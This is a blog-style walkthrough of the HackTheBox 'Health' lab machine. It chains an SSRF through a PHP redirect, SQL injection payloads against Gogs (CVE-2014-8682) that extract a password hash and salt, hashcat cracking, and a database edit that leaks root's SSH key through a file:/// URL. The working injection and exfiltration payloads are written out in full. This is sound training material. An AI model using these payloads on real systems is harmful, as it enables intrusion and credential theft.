HackTheBox — Health

ARZ101
7 min readJan 7, 2023

Health was medium rated linux machine that involved performing Server Side Request Forgery (SSRF) on webhook which the site was using, it had input sanitization through which SSRF couldn’t be performed normally, by using the monitored url field to host a php file to redirect to port 3000 on the target machine which was running Gogs, the version was vulnerable to SQL Injection , giving us the username and password hash which can then later be cracked through hashcat, after logging in escalation was performed by using same technique but by modifying the monitored url to any file we want to read with file:/// protocol as we had complete control over the database and get root’s ssh key.

NMAP

Nmap scan report for 10.10.11.176
Host is up (0.089s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 32:b7:f4:d4:2f:45:d3:30:ee:12:3b:03:67:bb:e6:31 (RSA)
| 256 86:e1:5d:8c:29:39:ac:d7:e8:15:e6:49:e2:35:ed:0c (ECDSA)
|_ 256 ef:6b:ad:64:d5:e4:5b:3e:66:79:49:f4:ec:4c:23:9f (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HTTP Monitoring Tool
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

From the nmap scan we can see port 3000 which is filtered so probably we’ll need to access that later

PORT 80 (HTTP)

The web page shows a web hook to configure for checking health status of URL so on creating a web hook it doesn’t allow monitoring health status for localhost, time.htband 127.0.0.1 as we need to check what’s running on port 3000, this could lead to SSRF

But on providing our IP it accepts and creates a web hook

The reason why it shows the default html page is because I have a apache2 server running with a default index page

Now we can exploit this by monitoring a php file which will make a request to our php file redirecting to http://127.0.0.1:3000 in order to perform SSRF through open redirect

<?php header("Location: http://10.10.11.176:3000");?>

I called this file redirect.php and move it to /var/www/html

So it seems like there’s Gogs (Go Git Service) running on port 3000 which also reveals the version which is 0.5.5.1018

On google for exploits, this version is vulnerable to sqli which was reported in 2014 with a CVE CVE-2014-8682, this is quite old but it fits for the version

So I copied the payload with the header request in the php file by url encoding it

And pasted this with the GET request on /api/v1/users/serach?q

<?php header("Location: http://10.10.11.176:3000/api/v1/users/search?q=%27%2F%2A%2A%2Fand%2F%2A%2A%2Ffalse%29%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2Fnull%2Cnull%2C%40%40version%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmysql%2Edb%2F%2A%2A%2Fwhere%2F%2A%2A%2F%28%27%2525%27%253D%27");?>

I created a webhook again, kept my netcat running to receive a response

Now this should give us database version in response but it gave a blank response so sqli didn’t worked here

For testing this, I installed the same version of gogs on my local machine and for this I followed this article to install gogs , this is a optional step as I wanted to know why the sqli payload didn’t worked. After creating a separate user and extracting gogs in that user’s directory and got the service up and running

We can now visit localhost:3000 to properly install gogs by setting up the database

By default it chooses SQLite3 so maybe the database being used on the target machine is not mysql but I’ll just select mysql to see if the payload is working or not

And after that we’ll see it installed and can test for sqli

Using the payload to print the database version

http://127.0.0.1:3000/api/v1/users/search?q='/**/and/**/false)/**/union/**/
select/**/null,null,@@version,null,null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from
/**/mysql.db/**/where/**/('%25'%3D'

We can then further get the database version and then further get the table and column names

http://127.0.0.1:3000/api/v1/users/search?q=%27/**/and/**/false)/**/union/**/select/**/null,null,database(),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/where/**/(%27%25%27%3D%27

But this won’t help us on the target machine as it wasn’t working there so there’s a possibilit that it’s using sqlite3 as it’s the default database for gogs, so I’ll test the payload for SQLite as well but before that I’ll need to re install gogs with sqlite3

After many trial and errors, I was able to get the correct payload for sqlite3 by printing sqlite_version() which it worked with union/**/all/**/select

http://127.0.0.1:3000/api/v1/users/search?q=%27)/**/union/**/all/**/select/**/null,null,group_concat(sqlite_version()),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/--

We don’t need to enumerate the column and table names as we already have the database which is setup locally, this can be viewed in either mysql or sqlite3

Coming back to the target machine, we’ll just put the sqli payload for getting the name and passwd from user table in the redirect request also we need the value of salt but for some reason group_concat didn't worked so I had to extract the values seperately

<?php header("Location: http://10.10.11.176:3000/api/v1/users/search?q=%27)/**/union/**/all/**/select/**/null,null,salt,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from/**/user--"); ?>
<?php header("Location: http://10.10.11.176:3000/api/v1/users/search?q=%27)/**/union/**/all/**/select/**/null,null,salt,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from/**/user--"); ?>

Response of the passwd

Response of salt

The hash can be cracked with hashcat by following the method shown in this repo, we need to convert the salt into base64, convert hash into hex and then base64 encode and then crack it using mode 10900

This is how the hash will look like

sha256:10000:c08zWEliZVcxNA==:ZsB0ZFVFeB8QZPt/0Rd0U9uPDKLOWKnYHAS+Lm07oqDWwDLw/U74P0jXQ0nsGW9O/jc=

With this password we can login as susanne

I checked if we can use sudo with this user but it wasn’t added in sudoers group, on transferring pspy and executing, it showed that something was being ran as root user

This was executing the web hooking cronjob and was removing that cronjob from the database, we can verify it by creating a web hook again and logging with the mysql credentials which can be found fron .env in web directory

After logging with the credentials, creating the same webhook from which were able to make a request to port 3000

As there was a filter on the frontend, we can change the monitoredUrl to file:///root/.ssh/id_rsa which will return the contents of that file on our port 2222

UPDATE tasks SET monitoredUrl = "file:///root/root.txt" WHERE onlyError = "0";

Checking our listener, we should get root’s ssh key

To format the ssh key properly, this can be done by using echo with -e to print the string with escape sequences \n and to remove the backslash \ , we can use sed to replace it with a null character by piping the output string to sed 's/\\//g'

With this ssh private key we can login as root user

References

--

--